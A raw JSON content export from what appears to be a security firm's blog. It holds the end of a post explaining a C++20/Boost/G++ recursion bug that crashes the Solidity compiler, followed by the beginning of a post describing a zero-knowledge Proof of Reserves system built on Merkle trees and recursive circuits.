b;\n",{"type":23,"tag":139,"props":89802,"children":89803},{"class":141,"line":205},[89804],{"type":23,"tag":139,"props":89805,"children":89806},{"style":1016},[89807],{"type":28,"value":89808},"+     return a.operator==(b);\n",{"type":23,"tag":139,"props":89810,"children":89811},{"class":141,"line":214},[89812],{"type":23,"tag":139,"props":89813,"children":89814},{"style":259},[89815],{"type":28,"value":1897},{"type":23,"tag":24,"props":89817,"children":89818},{},[89819,89821,89826,89828,89833],{"type":28,"value":89820},"Instead of calling ",{"type":23,"tag":135,"props":89822,"children":89824},{"className":89823},[],[89825],{"type":28,"value":88151},{"type":28,"value":89827}," — which triggers overload resolution again — the patched version directly calls the member function ",{"type":23,"tag":135,"props":89829,"children":89831},{"className":89830},[],[89832],{"type":28,"value":88159},{"type":28,"value":73},{"type":23,"tag":24,"props":89835,"children":89836},{},[89837],{"type":28,"value":89838},"This prevents C++20 from triggering recursive rewrites.",{"type":23,"tag":16800,"props":89840,"children":89841},{},[],{"type":23,"tag":41,"props":89843,"children":89845},{"id":89844},"part-iv-how-this-breaks-solidity",[89846],{"type":28,"value":89847},"Part IV: How This Breaks Solidity",{"type":23,"tag":24,"props":89849,"children":89850},{},[89851,89853,89858],{"type":28,"value":89852},"The Solidity codebase uses ",{"type":23,"tag":135,"props":89854,"children":89856},{"className":89855},[],[89857],{"type":28,"value":88006},{"type":28,"value":89859}," to represent certain compile-time constant expressions.",{"type":23,"tag":24,"props":89861,"children":89862},{},[89863,89865,89871],{"type":28,"value":89864},"One snippet that can trigger this issue appears in ",{"type":23,"tag":135,"props":89866,"children":89868},{"className":89867},[],[89869],{"type":28,"value":89870},"DeclarationTypeChecker::endVisit",{"type":28,"value":2493},{"type":23,"tag":128,"props":89873,"children":89875},{"code":89874,"language":27134,"meta":7,"className":27132,"style":7},"if (Expression const* length = _typeName.length()) {\n    std::optional\u003Crational> lengthValue;\n\n    if (length->annotation().type && length->annotation().type->category() == Type::Category::RationalNumber)\n        ...\n    else if (std::optional\u003CConstantEvaluator::TypedRational> value = ConstantEvaluator::evaluate(...))\n        lengthValue = value->value;\n\n    if (!lengthValue)\n        ...\n    else if (*lengthValue == 0)  // \u003C-- Infinite recursion happens here\n        ...\n}\n",[89876],{"type":23,"tag":135,"props":89877,"children":89878},{"__ignoreMap":7},[89879,89926,89951,89958,90036,90043,90096,90124,90131,90151,90158,90198,90205],{"type":23,"tag":139,"props":89880,"children":89881},{"class":141,"line":142},[89882,89886,89891,89895,89899,89904,89908,89913,89917,89921],{"type":23,"tag":139,"props":89883,"children":89884},{"style":319},[89885],{"type":28,"value":13590},{"type":23,"tag":139,"props":89887,"children":89888},{"style":259},[89889],{"type":28,"value":89890}," (Expression ",{"type":23,"tag":139,"props":89892,"children":89893},{"style":279},[89894],{"type":28,"value":7663},{"type":23,"tag":139,"props":89896,"children":89897},{"style":982},[89898],{"type":28,"value":2573},{"type":23,"tag":139,"props":89900,"children":89901},{"style":259},[89902],{"type":28,"value":89903}," length ",{"type":23,"tag":139,"props":89905,"children":89906},{"style":982},[89907],{"type":28,"value":1067},{"type":23,"tag":139,"props":89909,"children":89910},{"style":294},[89911],{"type":28,"value":89912}," _typeName",{"type":23,"tag":139,"props":89914,"children":89915},{"style":259},[89916],{"type":28,"value":73},{"type":23,"tag":139,"props":89918,"children":89919},{"style":245},[89920],{"type":28,"value":6508},{"type":23,"tag":139,"props":89922,"children":89923},{"style":259},[89924],{"type":28,"value":89925},"()) {\n",{"type":23,"tag":139,"props":89927,"children":89928},{"class":141,"line":151},[89929,89934,89938,89942,89946],{"type":23,"tag":139,"props":89930,"children":89931},{"style":259},[89932],{"type":28,"value":89933},"    std::optional",{"type":23,"tag":139,"props":89935,"children":89936},{"style":982},[89937],{"type":28,"value":3808},{"type":23,"tag":139,"props":89939,"children":89940},{"style":259},[89941],{"type":28,"value":89011},{"type":23,"tag":139,"props":89943,"children":89944},{"style":982},[89945],{"type":28,"value":8471},{"type":23,"tag":139,"props":89947,"children":89948},{"style":259},[89949],{"type":28,"value":89950}," lengthValue;\n",{"type":23,"tag":139,"props":89952,"children":89953},{"class":141,"line":160},[89954],{"type":23,"tag":139,"props":89955,"children":89956},{"emptyLinePlaceholder":15},[89957],{"type":28,"value":184},{"type":23,"tag":139,"props":89959,"children":89960},{"class":141,"line":169},[89961,89965,89969,89973,89977,89981,89985,89989,89993,89998,90002,90006,90010,90014,90018,90023,90027,90031],{"type":23,"tag":139,"props":89962,"children":89963},{"style":319},[89964],{"type":28,"value":10290},{"type":23,"tag":139,"props":89966,"children":89967},{"style":259},[89968],{"type":28,"value":1042},{"type":23,"tag":139,"props":89970,"children":89971},{"style":294},[89972],{"type":28,"value":6508},{"type":23,"tag":139,"props":89974,"children":89975},{"style":259},[89976],{"type":28,"value":11768},{"type":23,"tag":139,"props":89978,"children":89979},{"style":245},[89980],{"type":28,"value":28183},{"type":23,"tag":139,"props":89982,"children":89983},{"style":259},[89984],{"type":28,"value":28188},{"type":23,"tag":139,"props":89986,"children":89987},{"style":294},[89988],{"type":28,"value":30644},{"type":23,"tag":139,"props":89990,"children":89991},{"style":982},[89992],{"type":28,"value":12196},{"type":23,"tag":139,"props":89994,"children":89995},{"style":294},[89996],{"type":28,"value":89997}," length",{"type":23,"tag":139,"props":89999,"children":90000},{"style":259},[90001],{"type":28,"value":11768},{"type":23,"tag":139,"props":90003,"children":90004},{"style":245},[90005],{"type":28,"value":28183},{"type":23,"tag":139,"props":90007,"children":90008},{"style":259},[90009],{"type":28,"value":28188},{"type":23,"tag":139,"props":90011,"children":90012},{"style":294},[90013],{"type":28,"value":30644},{"type":23,"tag":139,"props":90015,"children":90016},{"style":259},[90017],{"type":28,"value":11768},{"type":23,"tag":139,"props":90019,"children":90020},{"style":245},[90021],{"type":28,"value":90022},"category",{"type":23,"tag":139,"props":90024,"children":90025},{"style":259},[90026],{"type":28,"value":12054},{"type":23,"tag":139,"props":90028,"children":90029},{"style":982},[90030],{"type":28,"value":6580},{"type":23,"tag":139,"props":90032,"children":90033},{"style":259},[90034],{"type":28,"value":90035}," Type::Category::RationalNumber)\n",{"type":23,"tag":139,"props":90037,"children":90038},{"class":141,"line":178},[90039],{"type":23,"tag":139,"props":90040,"children":90041},{"style":259},[90042],{"type":28,"value":79746},{"type":23,"tag":139,"props":90044,"children":90045},{"class":141,"line":187},[90046,90051,90055,90060,90064,90069,90073,90078,90082,90087,90091],{"type":23,"tag":139,"props":90047,"children":90048},{"style":319},[90049],{"type":28,"value":90050},"    else",{"type":23,"tag":139,"props":90052,"children":90053},{"style":319},[90054],{"type":28,"value":13799},{"type":23,"tag":139,"props":90056,"children":90057},{"style":259},[90058],{"type":28,"value":90059}," (std::optional",{"type":23,"tag":139,"props":90061,"children":90062},{"style":982},[90063],{"type":28,"value":3808},{"type":23,"tag":139,"props":90065,"children":90066},{"style":259},[90067],{"type":28,"value":90068},"ConstantEvaluator::TypedRational",{"type":23,"tag":139,"props":90070,"children":90071},{"style":982},[90072],{"type":28,"value":8471},{"type":23,"tag":139,"props":90074,"children":90075},{"style":259},[90076],{"type":28,"value":90077}," value ",{"type":23,"tag":139,"props":90079,"children":90080},{"style":982},[90081],{"type":28,"value":1067},{"type":23,"tag":139,"props":90083,"children":90084},{"style":259},[90085],{"type":28,"value":90086}," ConstantEvaluator::",{"type":23,"tag":139,"props":90088,"children":90089},{"style":245},[90090],{"type":28,"value":35895},{"type":23,"tag":139,"props":90092,"children":90093},{"style":259},[90094],{"type":28,"value":90095},"(...))\n",{"type":23,"tag":139,"props":90097,"children":90098},{"class":141,"line":196},[90099,90104,90108,90112,90116,90120],{"type":23,"tag":139,"props":90100,"children":90101},{"style":259},[90102],{"type":28,"value":90103},"        lengthValue ",{"type":23,"tag":139,"props":90105,"children":90106},{"style":982},[90107],{"type":28,"value":1067},{"type":23,"tag":139,"props":90109,"children":90110},{"style":294},[90111],{"type":28,"value":30398},{"type":23,"tag":139,"props":90113,"children":90114},{"style":259},[90115],{"type":28,"value":11768},{"type":23,"tag":139,"props":90117,"children":90118},{"style":294},[90119],{"type":28,"value":37042},{"type":23,"tag":139,"props":90121,"children":90122},{"style":259},[90123],{"type":28,"value":995},{"type":23,"tag":139,"props":90125,"children":90126},{"class":141,"line":205},[90127],{"type":23,"tag":139,"props":90128,"children":90129},{"emptyLinePlaceholder":15},[90130],{"type":28,"value":184},{"type":23,"tag":139,"props":90132,"children":90133},{"class":141,"line":214},[90134,90138,90142,90146],{"type":23,"tag":139,"props":90135,"children":90136},{"style":319},[90137],{"type":28,"value":10290},{"type":23,"tag":139,"props":90139,"children":90140},{"style":259},[90141],{"type":28,"value":1042},{"type":23,"tag":139,"props":90143,"children":90144},{"style":982},[90145],{"type":28,"value":18629},{"type":23,"tag":139,"props":90147,"children":90148},{"style":259},[90149],{"type":28,"value":90150},"lengthValue)\n",{"type":23,"tag":139,"props":90152,"children":90153},{"class":141,"line":1320},[90154],{"type":23,"tag":139,"props":90155,"children":90156},{"style":259},[90157],{"type":28,"value":79746},{"type":23,"tag":139,"props":90159,"children":90160},{"class":141,"line":1329},[90161,90165,90169,90173,90177,90181,90185,90189,90193],{"type":23,"tag":139,"props":90162,"children":90163},{"style":319},[90164],{"type":28,"value":90050},{"type":23,"tag":139,"props":90166,"children":90167},{"style":319},[90168],{"type":28,"value":13799},{"type":23,"tag":139,"props":90170,"children":90171},{"style":259},[90172],{"type":28,"value":1042},{"type":23,"tag":139,"props":90174,"children":90175},{"style":982},[90176],{"type":28,"value":2573},{"type":23,"tag":139,"props":90178,"children":90179},{"style":259},[90180],{"type":28,"value":87982},{"type":23,"tag":139,"props":90182,"children":90183},{"style":982},[90184],{"type":28,"value":6580},{"type":23,"tag":139,"props":90186,"children":90187},{"style":1016},[90188],{"type":28,"value":1019},{"type":23,"tag":139,"props":90190,"children":90191},{"style":259},[90192],{"type":28,"value":1104},{"type":23,"tag":139,"props":90194,"children":90195},{"style":958},[90196],{"type":28,"value":90197},"  // \u003C-- Infinite recursion happens here\n",{"type":23,"tag":139,"props":90199,"children":90200},{"class":141,"line":1580},[90201],{"type":23,"tag":139,"props":90202,"children":90203},{"style":259},[90204],{"type":28,"value":79746},{"type":23,"tag":139,"props":90206,"children":90207},{"class":141,"line":1597},[90208],{"type":23,"tag":139,"props":90209,"children":90210},{"style":259},[90211],{"type":28,"value":1897},{"type":23,"tag":24,"props":90213,"children":90214},{},[90215],{"type":28,"value":90216},"Under normal circumstances, this expression is benign. But:",{"type":23,"tag":14699,"props":90218,"children":90219},{},[90220,90225,90230],{"type":23,"tag":801,"props":90221,"children":90222},{},[90223],{"type":28,"value":90224},"G++ \u003C 14 wrongly prefers Boost's non-member operator",{"type":23,"tag":801,"props":90226,"children":90227},{},[90228],{"type":28,"value":90229},"C++20 reverses the arguments",{"type":23,"tag":801,"props":90231,"children":90232},{},[90233],{"type":28,"value":90234},"The non-member operator recursively calls itself",{"type":23,"tag":24,"props":90236,"children":90237},{},[90238],{"type":28,"value":90239},"💥: segmentation fault.",{"type":23,"tag":16800,"props":90241,"children":90242},{},[],{"type":23,"tag":41,"props":90244,"children":90246},{"id":90245},"part-v-what-environments-are-affected",[90247],{"type":28,"value":90248},"Part V: What Environments are Affected?",{"type":23,"tag":24,"props":90250,"children":90251},{},[90252],{"type":28,"value":90253},"If a system uses any of the following:",{"type":23,"tag":14699,"props":90255,"children":90256},{},[90257,90262,90267],{"type":23,"tag":801,"props":90258,"children":90259},{},[90260],{"type":28,"value":90261},"G++ \u003C 14 (e.g., Ubuntu 22.04 uses 11.4)",{"type":23,"tag":801,"props":90263,"children":90264},{},[90265],{"type":28,"value":90266},"Boost \u003C 1.75 (e.g., 1.74 ships with Ubuntu)",{"type":23,"tag":801,"props":90268,"children":90269},{},[90270],{"type":28,"value":90271},"C++20 enabled (default in recent Solidity builds)",{"type":23,"tag":24,"props":90273,"children":90274},{},[90275,90277,90282,90284,90290],{"type":28,"value":90276},"They will encounter this crash ",{"type":23,"tag":56,"props":90278,"children":90279},{},[90280],{"type":28,"value":90281},"as soon as",{"type":28,"value":90283}," it processes a Solidity source with a length expression like ",{"type":23,"tag":135,"props":90285,"children":90287},{"className":90286},[],[90288],{"type":28,"value":90289},"T[0]",{"type":28,"value":90291}," or anything involving compile-time rational comparisons.",{"type":23,"tag":16800,"props":90293,"children":90294},{},[],{"type":23,"tag":41,"props":90296,"children":90298},{"id":90297},"recommendations",[90299],{"type":28,"value":90300},"Recommendations",{"type":23,"tag":14699,"props":90302,"children":90303},{},[90304,90312],{"type":23,"tag":801,"props":90305,"children":90306},{},[90307],{"type":23,"tag":56,"props":90308,"children":90309},{},[90310],{"type":28,"value":90311},"Update Boost to ≥ 1.75",{"type":23,"tag":801,"props":90313,"children":90314},{},[90315],{"type":23,"tag":56,"props":90316,"children":90317},{},[90318],{"type":28,"value":90319},"Pin G++ to v14 or later",{"type":23,"tag":16800,"props":90321,"children":90322},{},[],{"type":23,"tag":41,"props":90324,"children":90325},{"id":26955},[90326],{"type":28,"value":16955},{"type":23,"tag":24,"props":90328,"children":90329},{},[90330],{"type":28,"value":90331},"This isn’t a security vulnerability. It doesn’t corrupt memory or allow code execution.",{"type":23,"tag":24,"props":90333,"children":90334},{},[90335,90337,90341],{"type":28,"value":90336},"But it ",{"type":23,"tag":56,"props":90338,"children":90339},{},[90340],{"type":28,"value":1972},{"type":28,"value":90342}," a reminder of the fragility of modern build stacks. A bug introduced in 2012, fixed in 2024, quietly broke one of the most used blockchain compiler toolchains — all without any code in the Solidity repo being “wrong.”",{"type":23,"tag":24,"props":90344,"children":90345},{},[90346],{"type":28,"value":90347},"Every layer here — Boost, G++, the C++20 spec, and Solidity — behaved “as documented.” But together, they composed into undefined behavior.",{"type":23,"tag":24,"props":90349,"children":90350},{},[90351],{"type":28,"value":90352},"The lesson? Always test critical software under multiple compilers and library versions — especially when enabling a new language standard.",{"type":23,"tag":817,"props":90354,"children":90355},{},[90356],{"type":28,"value":821},{"title":7,"searchDepth":151,"depth":151,"links":90358},[90359,90360,90365,90368,90369,90370,90371,90372],{"id":88042,"depth":151,"text":88045},{"id":88131,"depth":151,"text":88134,"children":90361},[90362,90363,90364],{"id":88137,"depth":160,"text":88140},{"id":88205,"depth":160,"text":88208},{"id":88296,"depth":160,"text":88299},{"id":88880,"depth":151,"text":88883,"children":90366},[90367],{"id":88886,"depth":160,"text":88889},{"id":88997,"depth":151,"text":89000},{"id":89844,"depth":151,"text":89847},{"id":90245,"depth":151,"text":90248},{"id":90297,"depth":151,"text":90300},{"id":26955,"depth":151,"text":16955},"content:blog:2025-08-11-compiler-bug-causes-compiler-bug.md","blog/2025-08-11-compiler-bug-causes-compiler-bug.md","blog/2025-08-11-compiler-bug-causes-compiler-bug",{"_path":90377,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":90378,"description":90379,"date":90380,"author":29087,"image":90381,"isFeatured":15,"onBlogPage":15,"tags":90383,"body":90386,"_type":831,"_id":95162,"_source":833,"_file":95163,"_stem":95164,"_extension":836},"/blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds","PoRv2: A Fast, Transparent ZK-Based Proof of Reserves","Here, we explore zk-proofs, Merkle trees, and our new open-source implementation, PoRv2. Our proof-of-reserve enables users to verify exchange liabilities without relying on external auditors, setting a new standard for trust.","2025-08-27",{"src":90382,"width":13,"height":13},"/posts/por/title.png",[90384,90385],"zk","por",{"type":20,"children":90387,"toc":95139},[90388,90394,90406,90418,90423,90455,90469,90475,90487,90492,90497,90534,90539,90545,90550,90557,90562,90588,90593,90599,90619,90633,90641,90646,90651,90659,90672,90678,90760,90766,90771,90784,90789,90796,90820,90828,90833,90839,90844,91292,91305,91311,91316,91324,91342,91350,91363,91371,93032,93037,93044,93050,93055,93062,93078,93085,93093,93100,94611,94616,94623,94629,94634,94661,94666,94685,94691,94699,94717,94766,94774,94793,94815,94821,94834,94839,94846,94851,94914,94919,94926,94946,94952,94957,94963,94968,95012,95017,95025,95031,95036,95078,95083,95091,95096,95104,95108,95113,95126],{"type":23,"tag":41,"props":90389,"children":90391},{"id":90390},"what-is-a-proof-of-reserves",[90392],{"type":28,"value":90393},"What is a Proof of Reserves?",{"type":23,"tag":24,"props":90395,"children":90396},{},[90397,90399,90404],{"type":28,"value":90398},"At its heart, ",{"type":23,"tag":56,"props":90400,"children":90401},{},[90402],{"type":28,"value":90403},"Proof of Reserves (PoR)",{"type":28,"value":90405}," is a crucial system designed to show that a crypto platform genuinely holds the funds it owes to its users. It's how exchanges and custodians can prove, using strong cryptographic methods, that they have enough assets to cover all customer deposits.",{"type":23,"tag":24,"props":90407,"children":90408},{},[90409,90411,90416],{"type":28,"value":90410},"Think of it this way: ",{"type":23,"tag":56,"props":90412,"children":90413},{},[90414],{"type":28,"value":90415},"PoR",{"type":28,"value":90417}," is about enabling transparency. It's a way for platforms to provide clear, verifiable evidence of their financial health. For users, it means gaining confidence that their funds are secure on the platforms they use.",{"type":23,"tag":24,"props":90419,"children":90420},{},[90421],{"type":28,"value":90422},"Historically, traditional ways of proving reserves often had drawbacks. They might reveal too much sensitive information about the platform and rely heavily on external auditors without a direct user verification method.",{"type":23,"tag":24,"props":90424,"children":90425},{},[90426,90428,90435,90437,90444,90446,90453],{"type":28,"value":90427},"We from OtterSec, in partnership with ",{"type":23,"tag":64,"props":90429,"children":90432},{"href":90430,"rel":90431},"https://backpack.exchange/",[68],[90433],{"type":28,"value":90434},"Backpack",{"type":28,"value":90436},", just developed a Proof of Reserves system that can be used to prove CEX solvency. Our ",{"type":23,"tag":64,"props":90438,"children":90441},{"href":90439,"rel":90440},"https://github.com/otter-sec/por_v2",[68],[90442],{"type":28,"value":90443},"Zero-Knowledge Proof of Reserves (PoRv2)",{"type":28,"value":90445}," was based on ",{"type":23,"tag":64,"props":90447,"children":90450},{"href":90448,"rel":90449},"https://www.okx.com/en-eu/help/zero-knowledge-proofs-what-are-zk-starks-and-how-do-they-work-v2",[68],[90451],{"type":28,"value":90452},"OKX Proof of Reserves algorithm",{"type":28,"value":90454}," since it was the fastest and most efficient one known so far. We also use recursive plonky2 as the algorithm for zero-knowledge proving, but we made some improvements to the circuits for more transparency and verifiable information on the user side, eliminating the need to trust the audit company.",{"type":23,"tag":24,"props":90456,"children":90457},{},[90458,90460,90467],{"type":28,"value":90459},"In addition, we also created and open-sourced a ",{"type":23,"tag":64,"props":90461,"children":90464},{"href":90462,"rel":90463},"https://github.com/otter-sec/por_verifier_server",[68],[90465],{"type":28,"value":90466},"PoR verifier server",{"type":28,"value":90468}," that receives the proofs and validates them.",{"type":23,"tag":41,"props":90470,"children":90472},{"id":90471},"why-do-we-use-zk-for-por",[90473],{"type":28,"value":90474},"Why do we use ZK for PoR?",{"type":23,"tag":24,"props":90476,"children":90477},{},[90478,90480,90485],{"type":28,"value":90479},"Proving reserves is crucial, but it presents a unique challenge for any platform holding user funds: how do you publicly prove solvency without also exposing sensitive user balance information or revealing proprietary financial details? This is where ",{"type":23,"tag":56,"props":90481,"children":90482},{},[90483],{"type":28,"value":90484},"Zero-Knowledge Proofs (ZKPs)",{"type":28,"value":90486}," become game-changers.",{"type":23,"tag":24,"props":90488,"children":90489},{},[90490],{"type":28,"value":90491},"Simply put, a Zero-Knowledge Proof allows one party to prove to another that a statement is true without revealing any information beyond the validity of the statement itself. Imagine proving you know a secret password without actually telling anyone the password. You confirm you possess the knowledge, but the secret remains yours.",{"type":23,"tag":24,"props":90493,"children":90494},{},[90495],{"type":28,"value":90496},"In the context of Proof of Reserves, ZKPs are perfectly suited to solve the privacy paradox. They enable a platform to prove two important things cryptographically:",{"type":23,"tag":797,"props":90498,"children":90499},{},[90500,90517],{"type":23,"tag":801,"props":90501,"children":90502},{},[90503,90508,90510,90516],{"type":23,"tag":56,"props":90504,"children":90505},{},[90506],{"type":28,"value":90507},"Sum proof",{"type":28,"value":90509},": The exchange liability is equal to the sum of all users' balances. (e.g: ",{"type":23,"tag":135,"props":90511,"children":90513},{"className":90512},[],[90514],{"type":28,"value":90515},"btc_liability = user1_btc + user2_btc + user3_btc + ...",{"type":28,"value":18750},{"type":23,"tag":801,"props":90518,"children":90519},{},[90520,90525,90527,90532],{"type":23,"tag":56,"props":90521,"children":90522},{},[90523],{"type":28,"value":90524},"Non-negativity",{"type":28,"value":90526},": All users have a ",{"type":23,"tag":56,"props":90528,"children":90529},{},[90530],{"type":28,"value":90531},"positive",{"type":28,"value":90533}," net balance. This ensures that the sum proof is not tampered with by users with negative net balances. A user can have negative asset balances (e.g., borrowing BTC) but only if collateralized with other assets.",{"type":23,"tag":24,"props":90535,"children":90536},{},[90537],{"type":28,"value":90538},"It is worth noting that we cannot guarantee that all users were included in the ZK analysis. Therefore, if we only used ZKPs to prove those two statements, the exchange could tamper with the sum proof by excluding users from the PoR. That's why we also use a Merkle tree to prove inclusions.",{"type":23,"tag":41,"props":90540,"children":90542},{"id":90541},"what-is-a-merkle-tree-and-how-does-it-help-in-a-por",[90543],{"type":28,"value":90544},"What is a Merkle Tree and how does it help in a PoR?",{"type":23,"tag":24,"props":90546,"children":90547},{},[90548],{"type":28,"value":90549},"A Merkle tree is a tree data structure where each leaf node is a cryptographic hash of an individual piece of data (like a user's balance), and every non-leaf node is a cryptographic hash of its child nodes. This structure allows for the entire dataset to be summarized by a single, unique hash at the top, called the Merkle Root.",{"type":23,"tag":24,"props":90551,"children":90552},{},[90553],{"type":23,"tag":429,"props":90554,"children":90556},{"alt":48476,"src":90555},"/posts/por/merkle-tree.png",[],{"type":23,"tag":24,"props":90558,"children":90559},{},[90560],{"type":28,"value":90561},"In the PoR, we can use a Merkle tree to verify the inclusion of each user in the Proof of Reserves. It works like this:",{"type":23,"tag":797,"props":90563,"children":90564},{},[90565,90578,90583],{"type":23,"tag":801,"props":90566,"children":90567},{},[90568,90570,90576],{"type":28,"value":90569},"The Merkle tree is generated using the leaf nodes as the hashes of the user information (e.g., ",{"type":23,"tag":135,"props":90571,"children":90573},{"className":90572},[],[90574],{"type":28,"value":90575},"sha256({id: 1, balances: {\"BTC\": 0.1, \"ETH\": 0.2, ...}})",{"type":28,"value":90577},");",{"type":23,"tag":801,"props":90579,"children":90580},{},[90581],{"type":28,"value":90582},"The Merkle tree is made public;",{"type":23,"tag":801,"props":90584,"children":90585},{},[90586],{"type":28,"value":90587},"Each user can download the Merkle tree and check if their account was included by hashing their account information and checking if the hash is one of the leaves;",{"type":23,"tag":24,"props":90589,"children":90590},{},[90591],{"type":28,"value":90592},"In other words, this use of the Merkle tree allows users to easily verify that their individual balance was included in the overall total.",{"type":23,"tag":41,"props":90594,"children":90596},{"id":90595},"ottersec-porv2",[90597],{"type":28,"value":90598},"OtterSec PoRv2",{"type":23,"tag":24,"props":90600,"children":90601},{},[90602,90608,90610,90617],{"type":23,"tag":64,"props":90603,"children":90605},{"href":90439,"rel":90604},[68],[90606],{"type":28,"value":90607},"We just open-sourced our Proof of Reserves code (PoRv2)",{"type":28,"value":90609},", which uses the ",{"type":23,"tag":64,"props":90611,"children":90614},{"href":90612,"rel":90613},"https://github.com/0xPolygonZero/plonky2",[68],[90615],{"type":28,"value":90616},"plonky2 ZK algorithm",{"type":28,"value":90618}," to create a Merkle tree and a final ZK proof that recursively verifies smaller sum and non-negativity proofs.",{"type":23,"tag":24,"props":90620,"children":90621},{},[90622,90624,90631],{"type":28,"value":90623},"We named it PoRv2 because we already had a version based on ",{"type":23,"tag":64,"props":90625,"children":90628},{"href":90626,"rel":90627},"https://vitalik.eth.limo/general/2022/11/19/proof_of_solvency.html",[68],[90629],{"type":28,"value":90630},"Vitalik's proof of solvency",{"type":28,"value":90632},", which was not optimal.",{"type":23,"tag":24,"props":90634,"children":90635},{},[90636],{"type":23,"tag":56,"props":90637,"children":90638},{},[90639],{"type":28,"value":90640},"Non-negativity Proof",{"type":23,"tag":24,"props":90642,"children":90643},{},[90644],{"type":28,"value":90645},"In our non-negativity proof, the circuit receives the asset balances of each user and the price of each asset. With these inputs, it calculates the account's USD balance and checks if it is greater than 0.",{"type":23,"tag":24,"props":90647,"children":90648},{},[90649],{"type":28,"value":90650},"We also check for overflows during summation to prevent tampering in the final result.",{"type":23,"tag":24,"props":90652,"children":90653},{},[90654],{"type":23,"tag":56,"props":90655,"children":90656},{},[90657],{"type":28,"value":90658},"Sum Proof",{"type":23,"tag":24,"props":90660,"children":90661},{},[90662,90664,90670],{"type":28,"value":90663},"The sum proof verifies a public circuit input that was calculated by summing up all user balances of each asset. (e.g., ",{"type":23,"tag":135,"props":90665,"children":90667},{"className":90666},[],[90668],{"type":28,"value":90669},"BTC final: user1_btc + user2_btc ...",{"type":28,"value":90671},"). Note that each asset's final sum is not USD-based; we calculate the final balance using the asset balance itself.",{"type":23,"tag":666,"props":90673,"children":90675},{"id":90674},"what-are-the-ottersec-porv2-key-points",[90676],{"type":28,"value":90677},"What are the OtterSec PoRv2 key points?",{"type":23,"tag":797,"props":90679,"children":90680},{},[90681,90691,90709,90719,90750],{"type":23,"tag":801,"props":90682,"children":90683},{},[90684,90689],{"type":23,"tag":56,"props":90685,"children":90686},{},[90687],{"type":28,"value":90688},"Transparency",{"type":28,"value":90690},": It is possible for the exchange to safely disclose the entire Merkle tree so users can verify it without the need for an external auditing company. Also, the code allows asset price commitments and verifications.",{"type":23,"tag":801,"props":90692,"children":90693},{},[90694,90699,90701,90708],{"type":23,"tag":56,"props":90695,"children":90696},{},[90697],{"type":28,"value":90698},"Time-efficiency",{"type":28,"value":90700},": We were able to reduce the amount of time to prove by more than 100 times from our previous version by generating proofs for 750,000 users within 8 minutes using a Mac M3 Pro. ",{"type":23,"tag":64,"props":90702,"children":90705},{"href":90703,"rel":90704},"https://github.com/otter-sec/por_v2?tab=readme-ov-file#benchmark",[68],[90706],{"type":28,"value":90707},"Check our benchmark",{"type":28,"value":73},{"type":23,"tag":801,"props":90710,"children":90711},{},[90712,90717],{"type":23,"tag":56,"props":90713,"children":90714},{},[90715],{"type":28,"value":90716},"Memory-efficiency",{"type":28,"value":90718},": We also were able to reduce the amount of RAM needed to prove the liabilities of millions of users. Now, we are able to use machines with 16GB.",{"type":23,"tag":801,"props":90720,"children":90721},{},[90722,90727,90729,90734,90736,90741,90743,90748],{"type":23,"tag":56,"props":90723,"children":90724},{},[90725],{"type":28,"value":90726},"Small-proofs",{"type":28,"value":90728},": We were able to reduce the final proof to less than ",{"type":23,"tag":56,"props":90730,"children":90731},{},[90732],{"type":28,"value":90733},"500KB",{"type":28,"value":90735}," and each inclusion proof to ",{"type":23,"tag":56,"props":90737,"children":90738},{},[90739],{"type":28,"value":90740},"~52KB",{"type":28,"value":90742},". The only big file that we need to store is the Merkle tree, which doesn't consume more than ",{"type":23,"tag":56,"props":90744,"children":90745},{},[90746],{"type":28,"value":90747},"200MB",{"type":28,"value":90749}," if the PoR parameters are finely adjusted. Additionally, instead of storing each inclusion proof in a static file, we provide an efficient method to generate inclusion proofs on demand, eliminating the need for the exchange to store millions of files and conserve disk space and resources.",{"type":23,"tag":801,"props":90751,"children":90752},{},[90753,90758],{"type":23,"tag":56,"props":90754,"children":90755},{},[90756],{"type":28,"value":90757},"Privacy",{"type":28,"value":90759},": We use many cryptographic mechanisms to ensure that the user balances and other private information are kept safe and secret.",{"type":23,"tag":41,"props":90761,"children":90763},{"id":90762},"zk-circuits",[90764],{"type":28,"value":90765},"ZK Circuits",{"type":23,"tag":24,"props":90767,"children":90768},{},[90769],{"type":28,"value":90770},"We use two different ZK circuits to generate the final proof:",{"type":23,"tag":797,"props":90772,"children":90773},{},[90774,90779],{"type":23,"tag":801,"props":90775,"children":90776},{},[90777],{"type":28,"value":90778},"Batch circuit",{"type":23,"tag":801,"props":90780,"children":90781},{},[90782],{"type":28,"value":90783},"Recursive circuit",{"type":23,"tag":24,"props":90785,"children":90786},{},[90787],{"type":28,"value":90788},"With those two circuits, we can generate the proofs recursive tree:",{"type":23,"tag":24,"props":90790,"children":90791},{},[90792],{"type":23,"tag":429,"props":90793,"children":90795},{"alt":48476,"src":90794},"/posts/por/batch-circuit.png",[],{"type":23,"tag":90,"props":90797,"children":90798},{},[90799],{"type":23,"tag":24,"props":90800,"children":90801},{},[90802,90804,90810,90812,90818],{"type":28,"value":90803},"Note: We are using 512 as ",{"type":23,"tag":135,"props":90805,"children":90807},{"className":90806},[],[90808],{"type":28,"value":90809},"BATCH_SIZE",{"type":28,"value":90811}," and 8 as ",{"type":23,"tag":135,"props":90813,"children":90815},{"className":90814},[],[90816],{"type":28,"value":90817},"RECURSIVE_SIZE",{"type":28,"value":90819}," which indicates how many children each circuit has. This is easily adjustable in the code, and the optimal configuration will depend on the amount of accounts being proved in the PoR.",{"type":23,"tag":90,"props":90821,"children":90822},{},[90823],{"type":23,"tag":24,"props":90824,"children":90825},{},[90826],{"type":28,"value":90827},"Note 2: We add empty proofs as padding to chunks that don't have the correct length.",{"type":23,"tag":24,"props":90829,"children":90830},{},[90831],{"type":28,"value":90832},"Each non-leaf node in this tree is a ZK proof, which is generated using the related circuit; each circuit also generates the Merkle tree hash of each node, which is included in the Merkle tree.",{"type":23,"tag":666,"props":90834,"children":90836},{"id":90835},"leaf-nodes",[90837],{"type":28,"value":90838},"Leaf Nodes",{"type":23,"tag":24,"props":90840,"children":90841},{},[90842],{"type":28,"value":90843},"The leaf nodes are the hashes of the account information. It is calculated in this 